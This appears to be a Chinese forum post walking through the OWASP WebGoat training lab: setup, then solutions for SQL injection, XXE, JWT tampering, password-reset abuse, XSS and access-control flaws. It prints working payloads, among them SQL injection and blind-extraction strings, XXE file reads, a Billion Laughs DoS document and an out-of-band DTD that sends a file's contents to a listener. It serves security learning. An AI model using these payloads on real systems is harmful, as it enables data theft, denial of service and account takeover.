论坛首页 > 技术文章投稿区 > 技术文章

骚骑WebGoat闯关笔记

骚骑 · 发表于 2020-01-08 12:46:59 · 技术文章

骚骑WebGoat闯关笔记
===
##概述：本来只想做一遍就好，但是想到学院的靶场每个做完都会写通关笔记，并且做完后都会记忆深刻，因此借学院社区，记录一下自己的通关笔记。然后这个是纯英文的，对我来说只能看的懂大概，真的太头疼了。

ps：如果有哥哥们也想玩，可以直接用弟弟的环境（别搞破坏哦），注册就能用[骚骑的webgoat](http://saoqi.icu:8888/WebGoat "骚骑的webgoat")
------
##WebGoat概述
WebGoat是OWASP组织研制出的用于进行web漏洞实验的Java靶场程序，用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上，当前提供的训练课程有30多个，其中包括：跨站点脚本攻击（XSS）、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程，某些课程也给出了视频演示，指导用户利用这些漏洞进行攻击。
##环境搭建
**这个环境其实并不难搭建，windows，linux都可以，当然用docker镜像也是可以的，弟弟骚是自己在阿里云服务器上搭建的，由于本人愚笨，遇到了一堆问题，也会在接下来的笔记中贴出来。**
&gt; [WebGoat下载地址](https://github.com/WebGoat/WebGoat/releases "WebGoat下载地址")
&gt; [github中的](https://github.com/WebGoat/WebGoat "github中的")

**本人下载的是M21版本的**

![](https://bbs.zkaq.cn/upload/md/088d3a46d3bc2a9ec7403ed2a7a8a08e_36006.png)

**步入正题，搭建前需要准备下jdk1.8以上的环境（很重要），本人刚开始就以以为安装了jre就可以，但是只是能启动并不能连接上，因为下载的webgoat里面集成了tomcat，所以一定要按部就班的安装好jdk并装好环境变量（步骤百度一大堆，知道cmd打javac能识别才算成功）**
**搭建完jdk环境后，到文件下载目录打开cmd**

![](https://bbs.zkaq.cn/upload/md/369feaa5d7dafb30508b40446db3d22b_77479.png)

![](https://bbs.zkaq.cn/upload/md/95657bc8562149337f157f86e278e711_29296.png)

**cmd下启动就好**
**命令：**
```
java -jar webgoat-server-8.0.0.M21.jar ```
**自定义端口命令：**
```
java -jar webgoat-server-8.0.0.M21.jar --server.port=8888 --server.address=0.0.0.0```

**webwolf启动同理**

**接下来就可以本地浏览器打开了：127.0.0.1:xxx/WebGoat(字母大小写敏感,默认端口为8080，webwolf默认端口为9090)**
**打开页面**

![](https://bbs.zkaq.cn/upload/md/6235f502a48db8ae9c79a99c60092835_40717.png)

**而弟弟主要遇到的问题就jdk环境没有搭建好，认为可以启动jar就可以，导致做了半天无用功，其次就是想要远程访问的问题，最后定义了防火墙规则，开启了相应的端口。**

##第一关General

![](https://bbs.zkaq.cn/upload/md/67fa059f37e4429e4950e4f2095176ff_16814.png)

###Basics

![](https://bbs.zkaq.cn/upload/md/0b76947f815ed9f0a163a69cf910dfc9_37535.png)

**这关就是来送菜的，用burp就行，黑色圈圈的是介绍，他们说是课程，然后红色圈圈是小测，有兴趣的可以翻译看看确实挺不错的**

**由于比较基础，所以直接掠过课程直接来到lesson2，随便输入就行，主要是为了体验处理http请求**

![](https://bbs.zkaq.cn/upload/md/b5cee2aae3371a4792349987d420fbc3_85783.png)

**完成：**

![](https://bbs.zkaq.cn/upload/md/8a310ff3b05ab7e0648ba225d93c82e0_34484.png)

**lesson3**

![](https://bbs.zkaq.cn/upload/md/1ec8510e9375c6b46655f01f3b778099_16330.png)

**看介绍意思还需要判断他的传参方式，直接打开burp进行抓包**

![](https://bbs.zkaq.cn/upload/md/f743ced5ac36a5fa6cb17da8a587ecb8_79948.png)

**很有趣，抓包之后答案就一目了然了，直接输入答案**

![](https://bbs.zkaq.cn/upload/md/df41ba13fa8ead98d00a8f30427c2b09_83938.png)

###Proxies

![](https://bbs.zkaq.cn/upload/md/d08e2e9a0f87e567988ad43f8f337c30_37370.png)

**lesson1-5主要介绍了下zap（一款owasp的安全工具，有兴趣可以百度下），然后我们直接来到lesson6**

![](https://bbs.zkaq.cn/upload/md/288f2c34ee653de77d85c7848cd61c8d_85055.png)

**看问题描述，很简答，分别是更改传参方式，增加一个请求头，更改传参值**

**原始**

![](https://bbs.zkaq.cn/upload/md/67786c7604e52a5fa8de1b9073317f04_14133.png)

**更改传参方式**

![](https://bbs.zkaq.cn/upload/md/2cb8090945760075e141c8fb176457a9_62914.png)

**增加请求头**

![](https://bbs.zkaq.cn/upload/md/111e5975485efeaa92b5876e152a28df_81827.png)

**更改传参值**

![](https://bbs.zkaq.cn/upload/md/5344734ccad1f96adfd80bbcf84a520f_24123.png)

**过关**

![](https://bbs.zkaq.cn/upload/md/d34292a5720111ea07da90eb9ac5bb0b_70794.png)

##第二关Injection Flaws

![](https://bbs.zkaq.cn/upload/md/d50ee62d83780d212a5297ca4ad94dfb_18202.png)

**刚开始是sql注入，但是他这个排版好像有问题，从高级开始，我是弟弟而已有一点强迫症，所以还是按部就班的来吧**

###SQL Injection

![](https://bbs.zkaq.cn/upload/md/74433b1addf2e490e312f330106200e1_55475.png)

**lesson1-6讲的都是基础，然后和我之前的笔记都重复了，所以在此就忽略了，然后lensson7-8就是最基本的sql注入，值得注意的是他这个数据库是HSQLDB**

![](https://bbs.zkaq.cn/upload/md/dd771b09367a8a844b777e12a6f1866f_94073.png)

**不知道为啥有乱码情况，但是并不影响，直接```'or 1=1--+```**

![](https://bbs.zkaq.cn/upload/md/49caad4eadf78600847c05ae83c2798b_77773.png)

**过关，小大小闹**

![](https://bbs.zkaq.cn/upload/md/77d565ed990ff413685dccbf82894499_50004.png)

**lensson8**

![](https://bbs.zkaq.cn/upload/md/b0a6efb6134445b6729b65238036002c_87556.png)

**依然是最基础的，直接```101 or 1=1--+```**

![](https://bbs.zkaq.cn/upload/md/a812b5648eaa60a2e487b81f7f04e5aa_87150.png)

**过关**

![](https://bbs.zkaq.cn/upload/md/e907a534304bd8273938282d2e86ef2f_62598.png)

###SQL Injection (mitigation)

![](https://bbs.zkaq.cn/upload/md/4d581fbcf89703ab70d11c4d520a389f_94123.png)

**这关还是有点意思的，觉得开始有内个味儿了**
**lensson7讲了一个我不知道的方法，还是太菜了，我这么丑还需要继续学习啊...**

![](https://bbs.zkaq.cn/upload/md/f2fc680b9ce1898cdc84dfb3fcd66745_27697.png)

**order by +case**
 ```
select * from users order by (case when (true) then lastname else firstname)
```

**讲了一下order by 的一种用法，这是以前不知道的，也是对数据库不熟悉，接下来的lesson8也是针对这个进行的联系**

![](https://bbs.zkaq.cn/upload/md/ea33d04f0a2867349f62632f61c3be9c_32204.png)

**根据问题介绍点击一个排序进而抓包看一下**

![](https://bbs.zkaq.cn/upload/md/a023ce8b50d8b660b702a0526784a8df_44496.png)

![](https://bbs.zkaq.cn/upload/md/b359cabb3b61f04b6d1e41824f11e7c3_45570.png)

**觉得这个参数就是order by，进而写payload测试**

![](https://bbs.zkaq.cn/upload/md/451f001b9bbd225f7f09e23fac3d6a27_86313.png)

![](https://bbs.zkaq.cn/upload/md/e9c201217f4b8a4ce2284cddfbf8c71c_45973.png)

**成功过关**

![](https://bbs.zkaq.cn/upload/md/bdef24134bc12a41916d857772f1f7fe_32055.png)

###SQL Injection (advanced)

![](https://bbs.zkaq.cn/upload/md/a26b741d4baf746f85fd18f497863c7f_33604.png)

**终于到高级了，嘿嘿，lesso1-2都是介绍，转到lesson3**

![](https://bbs.zkaq.cn/upload/md/f7eefe12bed1c43bf4f52cdfbe6c6d22_71031.png)

**看介绍是联合查询，撰写payload测试**
**刚开始先验证了order by查询字段数，但是没有查出来，然后忽然想到了当时挖edusrc时候碰到的order by与group by之间那些不可不说的秘密，考虑可能是聚合函数作怪，因此测试了下，果然**

![](https://bbs.zkaq.cn/upload/md/4602e69e83f196920a20c0181c124f8d_70160.png)

**然后一点一点的爆，最后获得字段数**

```
saoqi' group by PUBLIC.USER_DATA.USERID,PUBLIC.USER_DATA.FIRST_NAME, PUBLIC.USER_DATA.LAST_NAME,PUBLIC.USER_DATA.CC_NUMBER,PUBLIC.USER_DATA.CC_TYPE,PUBLIC.USER_DATA.COOKIE,PUBLIC.USER_DATA.LOGIN_COUNT --+
```

**一共是七个字段，而已知的表是四个字段，我第一反应是偏移注入，但是想想偏移注入是不知道所想要查询的表的字段数和字段名 ，所以这个并不要那么麻烦**

**撰写payload：**
```
saoqi' union select 1,2,3,4,5,6,7 from user_system_data --+
```
**然而我忘记了还有字符类型这么一说，爆了错误**

![](https://bbs.zkaq.cn/upload/md/58908c83e50b0ac887d86344d51dd24d_50236.png)

**好尴尬，但是无所谓，因为题目已经给出了，就算没有给出我们还可以用null加偏移注入的方式进行**

```
saoqi' union select user_system_data.*,null,null,null from user_system_data --+
```
**获取密码，验证过关**

![](https://bbs.zkaq.cn/upload/md/fd36f8beae76a36dd2e5ff3fcf6684aa_52150.png)

**lesson4主要是讲了一下盲注，然后lessen5题目大概是将所学的都利用下..我的预感告诉我是盲注，但是还是要简单的测试下的，毕竟是学习阶段**

![](https://bbs.zkaq.cn/upload/md/0e24c41697fbf566c782b6115a800c06_95318.png)

**看见注册登录模块，首先想到的与sql有关的就是万能密码，万能密码字典跑一下**

![](https://bbs.zkaq.cn/upload/md/574b13b4a960568e48b5ce6751111cd2_60310.png)

![](https://bbs.zkaq.cn/upload/md/96fd7c5eef5ff369f97e5422ce0d15f3_31792.png)

**利用burp的sqlmap模块（如果不懂怎么用问度娘哦）发现仍然不行，应该是有预编译，因此转战注册模块**

![](https://bbs.zkaq.cn/upload/md/876462f21e4372942cab2d61f743fdbf_83544.png)

**仔细想了下，注册的话哪里可能会用到数据库，先注册一个试一试**

![](https://bbs.zkaq.cn/upload/md/a0d299876cecff4a086da48cbbedbfc4_39344.png)

![](https://bbs.zkaq.cn/upload/md/e4521d59a136ab04677d980161568c64_96354.png)

**看见创建成功的时候，灵光一闪，检查数据库中是否存在所要注册的用户，这样的话测试下**

![](https://bbs.zkaq.cn/upload/md/89d325837545e93b3daa782d50900306_95932.png)

**如果直接用burp跑sqlmap会不会有点暴力，想想还是利用burp重放包试试把**

![](https://bbs.zkaq.cn/upload/md/b119652304c72ce45bb951fefa910a21_38942.png)

![](https://bbs.zkaq.cn/upload/md/22b3c8f5b859b56b23350fd8d9b7e0b5_52812.png)

![](https://bbs.zkaq.cn/upload/md/b67a7de2d823d0d604848e900af0ba67_44213.png)

**嘿嘿，貌似是找到了，当为false时因为存在所以创建失败，那么根据false还是true进行判断，盲注什么的最恶心了..（我用sqlmap跑了一下没有成功，如果有哥哥知道是怎么回事请告知弟弟，谢谢）**
**因为不想盲注，又测试了下dns注入，然后也不行，应该是这个环境他不会访问网站吧**

![](https://bbs.zkaq.cn/upload/md/7e1a408d91c5b7e0d396cf9c5456cc10_78848.png)

**只能老老实实的进行盲注了，利用substring函数进行盲注，正常的步骤应该是先找系统自带库里的表名，然后以此类推，但是考虑这个是在本表中查询，因此觉得可以直接盲注password**
**撰写payload(题目是Tom为啥我写tom，因为Tom我猜出来的密码进不去)：**
```
tom'and substring(password,1,1)='a'--+
```

![](https://bbs.zkaq.cn/upload/md/a1565c30436769482377f1ace5261775_54457.png)

**可以利用Intruder模块进行爆破，最后爆破出来一共23位，当然刚开始时可以利用length（）函数猜长度的，哥哥们如果有更好的办法请告知弟弟**

**过关，真是太恶心了**

![](https://bbs.zkaq.cn/upload/md/87e4f06c92cbb7f889e6139788b32aad_93402.png)

**附上密码：**
```
thisisasecretfortomonly
```
###XXE

![](https://bbs.zkaq.cn/upload/md/bbee6c55d05ecec64ef4211da5b8d1a5_62802.png)

**之前做了下靶场的s-cms的xxe觉得很有信心，然而还是我太菜了，知其然而不知其所以然，换个方式就不会了**

![](https://bbs.zkaq.cn/upload/md/8622eeb161612eead6e6eb07fe81a42e_76729.png)

**这个题目意思是评论然后插入xml，进而读取根目录，并不是很难**
**payload：**

![](https://bbs.zkaq.cn/upload/md/a79636d47337dd7c720a4bbe02e15080_27372.png)

```
<?xml version="1.0"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///">]><comment> <text>saoqi&xxe;</text></comment>

```

![](https://bbs.zkaq.cn/upload/md/0fae8d90017ab600bdb1d14c6b66798d_83992.png)

**过关**

![](https://bbs.zkaq.cn/upload/md/4c2496d75a6fec2e9b09d754cd4e1f12_42597.png)

**lesson4和lesson差不多，只不过json格式的,我们先更改一下头测试下**

![](https://bbs.zkaq.cn/upload/md/8676010998e4e2859245508b53f46b3b_36343.png)

**仅仅是更改头是不行的，我们利用burp的扩展包，进行xml代码转换**

![](https://bbs.zkaq.cn/upload/md/254c33139433f8a6baf8d10f56ef4e61_83854.png)

**然后由于根元素的原因失败了，根元素应该是:**
```
<comment></comment>
```
**过关**

![](https://bbs.zkaq.cn/upload/md/51a9908185f81f24f763c5e0da3ff210_29051.png)

**lesson5讲了利用xxe进行dos攻击，经典案例就是Billion laughs**

**Billion laughs**
```
<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
```
**lesson6讲的是盲注xxe就是利用公网ip让其不能回显的东西在攻击机上显示出来**
**攻击机上创建dtd文件**
```
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY ping SYSTEM 'http://127.0.0.1:9090/WebWolf/landing'>
```
**对目标进行xml节点攻击***
```
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://127.0.0.1/WebWolf/files/attack.dtd">
%remote;
]>
<comment>
 <text>test&ping;</text>
</comment>
```

**lesson7利用的就说6中所说的盲注，也和学院讲的差不多**
**在WebWolf上传attack.dtd文件内容为：**
```
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///C:\Users\Administrator\.webgoat-8.0.0.M21\XXE\secret.txt">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:9090/landing?text=%file;'>">
%all;
```
**burp包输入payload：**
```
<?xml version="1.0"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "http://localhost:9090/files/test1234/test.dtd">%remote;]><comment><text>test&send;</text></comment>

```
**其中0.0.0.0当然也可以用localhost或者127.0.0.1，admin888是我的WebWolf的用户名**

**成功读取，但是不知到为啥没有过关**

![](https://bbs.zkaq.cn/upload/md/ade0105767cb25a2e44ae5fee83457ff_69026.png)

**lesson8就是介绍了下防范xxe的措施**

##第三关Authentication Flaws

![](https://bbs.zkaq.cn/upload/md/3f9412a42493d0831db7f008301c6575_83583.png)

###Authentication Bypasses

![](https://bbs.zkaq.cn/upload/md/b684b175599e093769434a22c91389a7_95339.png)

**lesson1主要讲了下身份验证绕过，利用hidden隐藏输入，删除参数，暴力破解/未授权访问**
**lesson2刚开始介绍了下密码找回漏洞的一个案例，然后题目和案例很相似，利用密保问题找回，我们先抓下数据包看一看**

![](https://bbs.zkaq.cn/upload/md/aba19033df147c41055b963eaeba4b6b_23307.png)

![](https://bbs.zkaq.cn/upload/md/9d85333105274c70f1d003269bcc88a0_34635.png)

**将两个密保问题参数删除试试**

![](https://bbs.zkaq.cn/upload/md/71e56c49838bd5366db1f272229f5a3c_39853.png)

**显而易见是不可以的，发现这个密保问题参数有点问题，会不会是有好几个密保问题然后后面跟据数字排列，0123..那我们试试换成2，3**

**果然，成功，我真是个小机灵鬼**

![](https://bbs.zkaq.cn/upload/md/01b3992313633234e8b16969cff3f888_79361.png)

##JWT tokens

![](https://bbs.zkaq.cn/upload/md/7b439987134cf6f96bdf8cbe0e260950_44245.png)

**说实话我之前真的不知道jwt（json web token）这个东西，然后按照他这个lensson1-3看了下，明白是咋回事了，说通俗点就是用于身份验证，然后这个结构分为头身尾（我自己这么叫的），然后头是jwt版本信息啥的，身子是传输的数据（就馋它的身子），尾巴是数字签名（一旦动了身子，数字签名就会失效）然后三部分都是通过base64加密**

**lesson4是个小测，问题大概意思就是删除票数，但是只有管理员能删除票数**

![](https://bbs.zkaq.cn/upload/md/f85f9f69503fa0192cd32b655b87c97b_58592.png)

**我们抓一下数据包康康**

![](https://bbs.zkaq.cn/upload/md/2009bcd6755da654e5312cbf09ff1b99_97556.png)

![](https://bbs.zkaq.cn/upload/md/df931760e5cec6a2e2600ebfb1c722e9_89345.png)

**第一个数据包是guest的没有token，切换了个用户又抓了一下，然后把她身子用base64解密，可以利用burp或者站长工具解码，而且如果直接解码会有错误，需要在后面加上‘==’**

![](https://bbs.zkaq.cn/upload/md/fd46d198ab7d4e6a476d8e8b871d4fd4_32693.png)

**然后会发现个很敏感的东西，admin false，直接改成true并且basw64加密，应该算是垂直越权**

![](https://bbs.zkaq.cn/upload/md/ffe3f5c3674a4b1348ba09a9ce64ec52_60265.png)

![](https://bbs.zkaq.cn/upload/md/e5fb9851f9a91be5cef185b11f6af535_38098.png)

![](https://bbs.zkaq.cn/upload/md/eda2512589d7108108e0f9f43f1c13b0_89350.png)

**因为动了他的身子，所以签名就失效了，我们把它删除就好了（把头和尾都拧掉也能活）成功过关，没变绿就很难受，也不知道为啥，有点强迫症**

![](https://bbs.zkaq.cn/upload/md/04fd37fac02d64ac458439f9d96ecb51_80813.png)

**lesson5**

![](https://bbs.zkaq.cn/upload/md/7e4ad9cfa116e631edd76a5faf7ad693_67417.png)

**看着题目应该是和lesson4差不多，然后也是利用burp或者站长工具解码改值加密（我还用站长工具看了下时间戳，没有过期），然后复制进去，成功过关**

![](https://bbs.zkaq.cn/upload/md/9684c7a825cffa5a2b93cc9a361346a4_81440.png)

**lesson6主要讲了下refesh-token和access-token两者的关系和选择**

![](https://bbs.zkaq.cn/upload/md/4c85ce8b97ac1103bc7ac8a5a576b28d_96020.png)

**lesson7是关于Refresh token的，并且介绍了个案例（纯英文），我简单的看了下，只要拥有一个token，就算过期了，也是可以进行篡改刷新的**

![](https://bbs.zkaq.cn/upload/md/61939cfcbd5c69420a8d91e68b756e3b_14874.png)

**但是需要一个请求头**
```
Authorization: Bearer XXX.YYY.ZZZ
```
**然后我们对数据进行抓包**

![](https://bbs.zkaq.cn/upload/md/fe77cc1f1c1d4a98ad227ebb2cae7724_70268.png)

**根据题目给的log对数据包进行篡改**

![](https://bbs.zkaq.cn/upload/md/d4728205d65f0c85d93e43653e9a5915_26712.png)

**分别更改content-type，并且增加请求头**

![](https://bbs.zkaq.cn/upload/md/b11a2459df95762cc6a4bcfac480c94d_13970.png)

**成功，他又没有绿，哎**

![](https://bbs.zkaq.cn/upload/md/9471798b8de4769f56603777a61520d9_17311.png)

**lesson8，这应该算是平行越权吧，现在只有jerry的token，然后想删除tom的账号**

![](https://bbs.zkaq.cn/upload/md/77dcacc52af2f3ad82e6df158c2feb8b_86237.png)

**点击删除，然后抓包看下**

![](https://bbs.zkaq.cn/upload/md/387b9823d9831ba576832f7232b45795_17793.png)

**解码然后修改，再加密，删除签名**

![](https://bbs.zkaq.cn/upload/md/c3744ce8650dd838ed6b2dae3e4820c6_74136.png)

**重放包，成功，这里虽然没绿但是整个小节绿了**

![](https://bbs.zkaq.cn/upload/md/808a9e1a8c48045a35a446bbc0fa68b6_49188.png)

###Password reset

![](https://bbs.zkaq.cn/upload/md/064722d214909e37a76ca4890f702be1_19725.png)

**lesson1就是简单的介绍，密码找回漏洞属于逻辑漏洞的一种**
**lesson2是测试webwolf环境是否能用,选择忘记密码然后发送邮件给webwolf**

![](https://bbs.zkaq.cn/upload/md/c448b0d230305d4cd5964fdace28e58e_64660.png)

![](https://bbs.zkaq.cn/upload/md/3dcb68add3c05b0c05587107827f4c58_82792.png)

**利用邮件里的密码登录，登录成功**

![](https://bbs.zkaq.cn/upload/md/668d667a53e12917cde266651a318edb_62347.png)

**lesson3讲了下重置密码会发送邮件问题，可以判断用户是否存在，也可以再用户点击的时候造成钓鱼**

![](https://bbs.zkaq.cn/upload/md/144ad25d727138d3cc0ec5ab1b4657fc_39367.png)

**lesson4说了密保问题，可以通过密保问题重置密码，然后下面就是一个练习**

![](https://bbs.zkaq.cn/upload/md/3b538ee9b8bd52ddfd2d00dea0e0685f_48154.png)

**根据提示，爆破吧**
**先抓一下数据包**

![](https://bbs.zkaq.cn/upload/md/6d3aa8af4d45d9204aef7670bba8297b_75522.png)

**先猜测两个用户名**

![](https://bbs.zkaq.cn/upload/md/cd62d65130d99326c1530bdb561e0714_43534.png)

![](https://bbs.zkaq.cn/upload/md/478f3e61841b536eabbdb644c70099c1_56339.png)

**这个还会先检测一下用户，这样的话在不知道前提下还可以爆破一下用户名，然后再爆破密保问题，当然了直接干admin也是可以的**

**爆破跑起来（自己写一个颜色的字典），成功**

![](https://bbs.zkaq.cn/upload/md/a428094f5027ed53e103da65f9de1615_61108.png)

![](https://bbs.zkaq.cn/upload/md/b5b54cff2ba9909e907993facc510928_46062.png)

**lesson5是发送邮件验证密码找回**
**输入想找回的邮件，然后发送抓包**

![](https://bbs.zkaq.cn/upload/md/c450574684904e1864fddb00dbc1e70d_12789.png)

**在我毫无头绪的时候恰巧看见了学院群里有人问更改host的问题，然后我就实验了一下**
**先本地监听**

![](https://bbs.zkaq.cn/upload/md/d93235a390fc3aec47b3a014fea78350_81622.png)

**发送更改host的数据包**

![](https://bbs.zkaq.cn/upload/md/76989ca3b6fe8895b30fb5245d6552b9_34876.png)

**然而什么都没有监听到**

![](https://bbs.zkaq.cn/upload/md/d93235a390fc3aec47b3a014fea78350_81622.png)

**不知道是什么原因，如果有哥哥知道请告诉我，然后我就更改了下，改成了webwolf的端口**

![](https://bbs.zkaq.cn/upload/md/f5837ab4e49f6f7d37bb2d5d3229feb7_91545.png)

**监听到了连接link**

![](https://bbs.zkaq.cn/upload/md/fc60e48d247b2455bf15bc47069a70ff_43139.png)

**然后复制路径更改密码**

![](https://bbs.zkaq.cn/upload/md/4112ae87027adcced09c0c1a78131789_53991.png)

**然后到登录界面登录，成功过关**

![](https://bbs.zkaq.cn/upload/md/f5829fc0a69ce4f0c6fe712232c80a24_57431.png)

##第四关Cross-Site Scripting (XSS)

![](https://bbs.zkaq.cn/upload/md/c4107827e189c319ec53cd68ae5ccae6_79417.png)

**lesson1，介绍了下啥是xss**
**lesson2也是介绍了下xss，然后有个小测是，问cookie一样么，回答yes过关**

![](https://bbs.zkaq.cn/upload/md/e3682352600967a20c5c6f727266faf0_23708.png)

![](https://bbs.zkaq.cn/upload/md/25cce15495ded1c4853cc61984501006_12087.png)

**lesson3-6依然在介绍xss，和学院讲的都差不多的直接做题吧（看英文太头疼了，我只看看大概内容）**

**lesson7，反射型xss**

![](https://bbs.zkaq.cn/upload/md/7863f566f4a8d48e8c516bcade1e21da_60560.png)

**反射型xss，为了省事直接抓包测试**

![](https://bbs.zkaq.cn/upload/md/93b6f9c9e8c3a58606a4eaea291525bc_39669.png)

**正常测试会盲x，但是我这里盲x下会爆错，因为有的应该是规定了输入是数字类型，所以一个个测试吧,成功**

![](https://bbs.zkaq.cn/upload/md/c10e6b9b64cf09cbb32ed773a6b6bcbd_27860.png)

**我忽然觉得这个靶场并不是很好，我试了下dom事件的xss竟然不成功，必须用题目给的payload**

**lesson8-9说了基于反射型的dom型xss和存储xss**
**lesson10，大意就是找测试页然后钓鱼，包括问题也是问路径是啥**
**随便输点东西就能给个js的提示，然后在js中找关于路径的描述**

![](https://bbs.zkaq.cn/upload/md/efc2e4f3954e03731b2306326e8f39b4_89927.png)

![](https://bbs.zkaq.cn/upload/md/f0cef4362e61ab8f11b852443ee9f8c4_76034.png)

**按照题目的思路输入答案，成功过关**

![](https://bbs.zkaq.cn/upload/md/d6f1a97e3b1ba5fdfab31b032835bf7a_26358.png)

**lesson11依然是dom型，然后利用上一题的路径进行攻击**
**构造payload**

```
start.mvc#test/%3Cscript%3Ealert(webgoat.customjs.phoneHome())
```
![](https://bbs.zkaq.cn/upload/md/53db523687f749d44db7f94de8443094_92025.png)

**然后根据问题，进入控制台查看随机数**

![](https://bbs.zkaq.cn/upload/md/71404d8c7641f3f63225106739911ab8_11499.png)

**输入答案过关**

![](https://bbs.zkaq.cn/upload/md/e5686e1c9ca093a27bad5e0e229c692b_28493.png)

**lesson12讲了下存储型xss，定义以及危害吧**

**lesson13,存储型xss的练习，直接在评论框中构造payload，和11一样调用函数**
```html
alert(webgoat.customjs.phoneHome())
```

![](https://bbs.zkaq.cn/upload/md/b1005398499386ea1485c3b77c52fb39_64690.png)

![](https://bbs.zkaq.cn/upload/md/ef32766bc55c381bb73a07a13e186641_89350.png)

**输入答案过关**

![](https://bbs.zkaq.cn/upload/md/7100452e06e0aee7a8ed731322d03a16_41321.png)

**lesson14-15主要讲的就是防范了，最好的方式肯定是白名单机制，但是白名单也有局限性，要考虑用户体验性**

##第五关Access Control Flaws

![](https://bbs.zkaq.cn/upload/md/89a50b6cc9342e083e17563246496866_36000.png)

###Insecure Direct Object References
**lesson1介绍了下权限滥用，在我的的认知里就是逻辑漏洞**

**lesson2，就是让你登录获取相应权限**

![](https://bbs.zkaq.cn/upload/md/214d01ce51f75067ab19e38cbcc690ab_84195.png)

**账户密码都已经给定，直接登录就好，账户是tom，密码是cat**

![](https://bbs.zkaq.cn/upload/md/e265c5bb42c4893472a53c0136c114e2_14327.png)

**lesson3,练习题目要求找出与已给profile不一样的属性，点击view profile查看网络返回包**

![](https://bbs.zkaq.cn/upload/md/27a1cac110e9c0da4cd05af99efd7ae6_11228.png)

![](https://bbs.zkaq.cn/upload/md/fd36a8268e520e789bc487d5c3ff410a_48241.png)

**和已给的配值对比，然后输入，过关**

![](https://bbs.zkaq.cn/upload/md/0a510186a5be8593fb118ec196c7ebe8_89391.png)

**lesson4,通俗理解就是我们利用userid查询我们的信息，利用lesson3获取到的信息我们进行输入**

![](https://bbs.zkaq.cn/upload/md/0dfe561f842eb90e2103bf1148bd4378_23394.png)

![](https://bbs.zkaq.cn/upload/md/5baaeb80b4aa041d2194126a30d2011a_46151.png)

**lesson5，本练习让我们寻找他人的配置文件，然后将颜色改为红色**
**我们有之前的userid然后我们修改userid末位数进行爆破**
**最终找到一个**

![](https://bbs.zkaq.cn/upload/md/bcea3c24a8d9ef3e4f46ab7fb4801c2c_78545.png)

**第二个是要求我们修改配置文件，那我们就上传试试，借用tom的格式**

![](https://bbs.zkaq.cn/upload/md/08b29fc2ad2d4711ec845a334d38397b_11000.png)

![](https://bbs.zkaq.cn/upload/md/5eed229e7f47637a9c2ee1ec6a0d55db_52855.png)

**然后对新发现的倒霉鬼进行修改**

![](https://bbs.zkaq.cn/upload/md/f79a3b39f0b2908e67aa6205d50f9543_30255.png)

**然而没变化，应该get传参问题，get传输有字数限制，换post试试**

![](https://bbs.zkaq.cn/upload/md/8ce934b4dd94acfcca71b75dfd1e5636_20794.png)

**返回包提示了接受PUT，那换了吧，其中我还把content改了下改为json了**

![](https://bbs.zkaq.cn/upload/md/97684f23fc6d1fb07be1886358e2dc43_11771.png)

**然后过关**

![](https://bbs.zkaq.cn/upload/md/eaf55bc3bb5be6c2fe393299f1fbe85d_92085.png)

**lesson6主要再次对访问控制进行了讲解，横纵向越权等危害，以及如何进行防护（受英语水平限制，只能看懂个大概）**

###Missing Function Level Access Control

![](https://bbs.zkaq.cn/upload/md/0a7354fd5be6ea369383ae78f16b640b_63347.png)

**lesson1讲了一下缺少功能级别访问控制以及他和idor访问控制的对比**
**lesson2大概意思就是找隐藏的功能连接**

![](https://bbs.zkaq.cn/upload/md/39d0e621ae16300a5d6e7f2f202cdceb_89116.png)

**右击选择查看元素，找到对应的隐藏信息，发现admin，并且还有连接，输入成功**

![](https://bbs.zkaq.cn/upload/md/efa5869915c3c92b1af8db0bc8b8b72d_91588.png)

**lesson3有点难度，算是未授权访问吧**
**利用了下lesson2的连接，users，然后发现，需要权限，但是能进去只是不能看而已**

![](https://bbs.zkaq.cn/upload/md/dacbfa3829c8af450bfc248885554732_60311.png)

**抓包，然后给加一个content-type头，给定义为json解析，返回的也是json页面，未授权访问获取了信息**

![](https://bbs.zkaq.cn/upload/md/83e3b1f585558ffde966895af1ff8783_81443.png)

**通关，当然还可以通过此页面创建个管理员账号的方式**

![](https://bbs.zkaq.cn/upload/md/e032643078c190cf25d724ca0ef2c8e2_21835.png)

**创建管理员方式**
**既然是user界面，觉得可以创建个用户，返回到login页面注册试试**

![](https://bbs.zkaq.cn/upload/md/0a4206195bbbb01b5a7c52710f7b72c3_34135.png)

**抓包看下**

![](https://bbs.zkaq.cn/upload/md/80126f5214928d03e27753a55752f7a3_62742.png)

**重放包是这样，那我可不可以....**

![](https://bbs.zkaq.cn/upload/md/33ecdbcf0269a2254ae40b1290dee9af_20535.png)

**将content类型换成json**

